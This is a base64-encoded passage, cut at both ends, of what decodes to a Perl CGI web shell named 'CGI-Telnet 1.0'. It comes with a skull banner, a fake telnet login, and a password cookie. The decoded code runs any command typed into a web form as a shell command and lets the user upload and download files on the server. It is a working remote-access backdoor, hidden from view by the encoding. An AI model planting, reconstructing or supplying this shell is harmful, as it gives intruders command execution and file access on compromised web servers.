PC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2